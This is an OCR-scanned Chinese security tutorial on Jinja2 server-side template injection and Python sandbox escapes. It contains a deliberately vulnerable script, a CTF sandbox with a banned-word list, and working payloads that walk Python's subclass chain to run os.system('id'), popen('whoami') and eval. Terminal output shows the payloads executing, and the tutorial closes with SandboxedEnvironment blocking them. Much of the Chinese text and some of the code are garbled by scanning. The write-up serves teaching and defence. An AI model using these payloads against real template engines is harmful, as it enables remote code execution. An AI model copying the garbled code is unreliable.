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<code>#!python

# coding: utf-8

import sys

from jinja2 import Template

template = Template ("Your input: {}".format (sys.argv[l] if len(sys.argv) > 1 else '<empty>"'))
print template.render ()

</code>
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{demo)» jinja2vuln "{{ 'abcd' }}"
Your input: abcd

(@8W8)-> jinja2vuln |
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(demo)-» jinja2vuln y "{{ 'abcd' }}"

Your input: abcd
(demo)-» jinja2Vuln yy "{{ 'abcd'.upper() }}"

Your inputi ABCD
(@8i8)> jinja2vuln |
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<code>#!python

# coding: utf-8

import os

import sys

from jinja2 import Template

template = Template ("Your input: {}".format (sys.argv[l] if len(sys.argv) > 1 else '<empty>'))

template.globals['os'] = os
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print template.render ()
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</code>
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Hello Command Exection:

(demo)-» jinja2vuln "{{ os.popen('echo Hello Commnad Execution').read() }}"
Your input: Hello Commnad Execut

(@8i8)-> jinja2vuln []

IR R BRED — KRBT, 2B E os KRiE XHIRFHIR:

(demo)-» jinja2vuln "{{ os.popen('echo Hello Commnad Execution').read() }}"
Traceback (most recent call last
File "demo2.py", line 8, in <module>
print template.render()
File "/Users/chensy/.virtualenv/demo/lib/python2.7/site-packages/jinja2/environment.py", line 989,
in render
return self.environment.handle_exception(exc_info, True)
File "/Users/chensy/.virtualenv/demo/1lib/python2.7/site-packages/jinja2/environment.py", line 754,
in handle_exception
reraise(exc_type, exc_value, tb)
File "<template>", line 1, in top-level template code
File "/Users/chensy/.virtualenv/demo/lib/python2.7/site-packages/jinja2/environment.py", line 408,
in getattr
return getattr(obj, attribute)
jinja2.exceptions.UndefinedError:
(@8i8)-> jinja2vuln |

os' is undefined
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2
3 <code>#!python
4 #!/usr/bin/env python
5 from  future  import print function
6 print ("Welcome to my Python sandbox! Enter commands below!")
7 banned = [
8 "import",
9 "exec" ,
10 "ayal" ,
1 "pickle",
12 "og" ,
13 "subprocess",
14 .

"kevin sucks",
15 "y "

input",

16

"banned",
17

"cry sum more",
18

"SyS"
19

1

20
21 targets = builtins . dict .keys()
29 targets.remove ('raw input')
23 targets.remove ('print')
24 for x in targets:
25 del builtins . dict [x]
26 while1:
27 print (">>>", end=' ')
28 data = raw input ()
29 for no inbanned:
30 if no.lower () indata.lower () :
31 print ("No bueno")
32 break
33 else: # this means nobreak
34 exec data
35 </code>
36
37
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https://hexplo.it/escaping-the-csawctf-python-sandbox/

<code>#!python

[c 1="c" 2="in" 3="[" language="for"] [/c]. class . base . subclasses () ifc. name _
1 == 'catch warnings'][0]. init .func globals['linecache']. dict ['o'+'s']. dict ['sy'+'stem'] ('echo
2 Hello SandBox"')

3 </code>

tmp sand )Y
Welcome to my Python sandbox! Enter commands below!
>>> [c for ¢ in [l.__class__.__base__._ subclasses_ () if c.__name__ ‘catch_warnings']1[0].__init_

_.func_globals['linecache'].__dict_ ['o'+'s'].__dict_ ['sy'+'stem']('echo Hello SandBox')
Hello SandBox

>>> I

LRE X AA UL BB BT os BMBRIAT RA ML, BREBT X R EFHME, RENAEEEITH

e
Eo

[ 2 T 7E Jinja2 AR 1 B PAT ARSI I, POV R 15 17 Python A EZRBMZRET %, HHIE
REIEI Jinja2 MR IE L 20 AR, BRI T A& H3n TR Payload SRiz 21 E1H PoC —HHIZUR -

1 <code>#!python

2 {$ forc in []. class . base . subclasses () %}

3 {% ifc. name == 'catch warnings' %}

4 {{ c.__init .func globals['linecache']. dict ['os'].system('id') }}
5 {%$ endif %}

6  {% endfor %}

7 </code>
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(demo)-+ jinja2vuln demo2.py "{% for c in []._ class_ ._ base__._ subclasses_ () %}{% if c.__
name__ == 'catch_warnings' %}{{ c.__init_ .func_globals['linecache']._ dict_ ['os'].system('id') }}{
% endif %}{% endfor %}"

uids= gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(loc
alaccounts),79(_appserverusr),8@8(admin),81(_appserveradm),98(_1lpadmin),33(_appstore),100(_lpoperator

),204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access
1))

Your input: @
(@8i8)-> jinja2vuln []
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<code>#!python

[a fora in [b forb in [c 1="c¢" 2="1in" 3="[" language="for"]
1
[/c]. class . base . subclasses () ifc. name == 'catch warnings']
2 | e SN _ - - -
[0]. init .func globals.values() if type(b) == dict] if 'eval' ina.keys()][0]['eval']

(" dmport ("os") .popen ("whoami") .read() ")

</code>
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<code>#!python

=N

2 {$ forc in []. class . base . subclasses () %}
3 {$ ifc. name == 'catch warnings' %}

4 {$ forb inc. init .func globals.values() %}

5 {$ ifb. class == {}. class %}

6 {% if 'eval' inb.keys () %}

7 {{ b['eval'] (' import ("os").popen("id").read()"') }}
8 {$ endif %}

9 {% endif %}

10 {$ endfor %}

11 $ endif %}

12 {% endfor %}

13

</code>
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{demo)-» jinja2Vuln demo2.py "{% for c¢ in [l.__class_ ._ base_ ._ subclasses_ () %}{% if c.__
name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %}{% if b.__class__ = {}.
_ class__ %}{% if 'eval' in b.keys() %}{{ b['eval'l('__import__(\"os\").popen(\"id\").read()"') }}{%
endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}"

Your input: gid=20(staff) groups=2@(staff),701(com.apple.sharepoint.group.1),12(ever
yone) ,61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore), 100
(_lpoperator) ,204(_developer),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.
apple.access_ssh)

(@8W8)-> jinja2vuln |
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(demo)-» jinja2vuln

# coding: utf-8

import sys

from jinja2.sandbox import SandboxedEnvironment

env = SandboxedEnvironment()
print env.from_string('{}'.format(sys.argv[1])).render(car="moo"')

{demo)» jinja2vuln d "{{ [1.__class__.__base__ }}"
Traceback (most recent call last):
File "demo5.py", line 6, in <module>
print env.from_string('{}'.format(sys.argv[1])).render(car="moo"')
File "/Users/chensy/.virtualenv/demo/1lib/python2.7/site-packages/jinja2/environment.py", line 989,
in render
return self.environment.handle_exception(exc_info, True)
File "/Users/chensy/.virtualenv/demo/lib/python2.7/site-packages/jinja2/environment.py", line 754,
in handle_exception
reraise(exc_type, exc_value, tb)
File "<template>", line 1, in top-level template code
File "/Users/chensy/.virtualenv/demo/1lib/python2.7/site-packages/jinja2/sandbox.py", line 332, in
getattr
return obj [attribute]
jinja2.exceptions.SecurityError: access to attribute '_ class__' of 'list' object is unsafe.
(@8i8)> jinja2vuln |]

0x04 =%

¢ https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-
App-wp.pdf

¢ Injecting Flask

¢ https://hexplo.it/escaping-the-csawctf-python-sandbox/

FXERBETSEZMIRE, XERBASZHIRE!


https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf
https://nvisium.com/blog/2015/12/07/injecting-flask/
https://hexplo.it/escaping-the-csawctf-python-sandbox/

	利用 Python 特性在 Jinja2 模板中执行任意代码
	0x00 简介
	0x01 模板中复杂的代码执行方式
	0x02 利用 Python 特性直接执行任意代码
	0x03 利用途径和防御方法
	0x04 参考

